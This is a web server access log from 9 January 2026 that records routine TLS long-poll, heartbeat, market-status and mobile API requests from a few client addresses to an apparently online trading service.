[09/Jan/2026:12:40:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933914508 HTTP/1.1" -
[09/Jan/2026:12:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:40:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933919650 HTTP/1.1" -
[09/Jan/2026:12:40:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:40:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:40:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933924757 HTTP/1.1" -
[09/Jan/2026:12:41:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933929821 HTTP/1.1" -
[09/Jan/2026:12:41:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:41:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:41:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933935007 HTTP/1.1" -
[09/Jan/2026:12:41:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933940154 HTTP/1.1" -
[09/Jan/2026:12:41:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933945353 HTTP/1.1" -
[09/Jan/2026:12:41:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:41:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:41:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:41:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:41:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933950487 HTTP/1.1" -
[09/Jan/2026:12:41:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:41:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:41:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933955532 HTTP/1.1" -
[09/Jan/2026:12:41:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933960587 HTTP/1.1" -
[09/Jan/2026:12:41:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:41:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:41:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933965739 HTTP/1.1" -
[09/Jan/2026:12:41:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933970862 HTTP/1.1" -
[09/Jan/2026:12:41:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933976012 HTTP/1.1" -
[09/Jan/2026:12:41:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:41:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:41:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:41:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:41:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933981189 HTTP/1.1" -
[09/Jan/2026:12:41:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:41:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:41:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933986303 HTTP/1.1" -
[09/Jan/2026:12:42:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933991498 HTTP/1.1" -
[09/Jan/2026:12:42:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:42:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:42:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933996626 HTTP/1.1" -
[09/Jan/2026:12:42:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934001776 HTTP/1.1" -
[09/Jan/2026:12:42:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934006904 HTTP/1.1" -
[09/Jan/2026:12:42:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:42:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:42:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:42:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:42:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:42:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:42:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934012110 HTTP/1.1" -
[09/Jan/2026:12:42:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934017164 HTTP/1.1" -
[09/Jan/2026:12:42:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934022285 HTTP/1.1" -
[09/Jan/2026:12:42:34 +0800] 115.45.42.252 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:12:42:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:42:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:42:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934027422 HTTP/1.1" -
[09/Jan/2026:12:42:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934032630 HTTP/1.1" -
[09/Jan/2026:12:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934037911 HTTP/1.1" -
[09/Jan/2026:12:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:42:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:42:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:42:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934043093 HTTP/1.1" -
[09/Jan/2026:12:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934048153 HTTP/1.1" -
[09/Jan/2026:12:43:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934053290 HTTP/1.1" -
[09/Jan/2026:12:43:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:43:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:43:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934058419 HTTP/1.1" -
[09/Jan/2026:12:43:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934063563 HTTP/1.1" -
[09/Jan/2026:12:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934068695 HTTP/1.1" -
[09/Jan/2026:12:43:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:43:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:43:23 +0800] 112.96.40.147 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/cc873387-087e-4bf6-bb99-c8cd9b74c50d HTTP/1.1" 75706
[09/Jan/2026:12:43:23 +0800] 112.96.40.147 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/c0c510b0-3302-4353-91de-8aee77d6b6ba.png HTTP/1.1" 14223
[09/Jan/2026:12:43:23 +0800] 112.96.40.147 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/companyservice/companys/diff?last_updated_time=1767016100648&id=147 HTTP/1.1" 28
[09/Jan/2026:12:43:23 +0800] 112.96.40.147 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/1891?device_time=1767934072116&token=667787 HTTP/1.1" 92
[09/Jan/2026:12:43:24 +0800] 112.96.40.147 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /MobileAPI/api/deviceservice/salt/1891 HTTP/1.1" 56
[09/Jan/2026:12:43:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934073740 HTTP/1.1" -
[09/Jan/2026:12:43:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934078818 HTTP/1.1" -
[09/Jan/2026:12:43:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934083953 HTTP/1.1" -
[09/Jan/2026:12:43:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:43:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:43:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934089126 HTTP/1.1" -
[09/Jan/2026:12:43:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934094261 HTTP/1.1" -
[09/Jan/2026:12:43:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:43:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:43:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:43:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:43:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934099385 HTTP/1.1" -
[09/Jan/2026:12:43:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:43:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:43:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934104429 HTTP/1.1" -
[09/Jan/2026:12:44:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934109611 HTTP/1.1" -
[09/Jan/2026:12:44:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:44:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:44:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934114768 HTTP/1.1" -
[09/Jan/2026:12:44:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934119904 HTTP/1.1" -
[09/Jan/2026:12:44:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934125039 HTTP/1.1" -
[09/Jan/2026:12:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:44:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934130165 HTTP/1.1" -
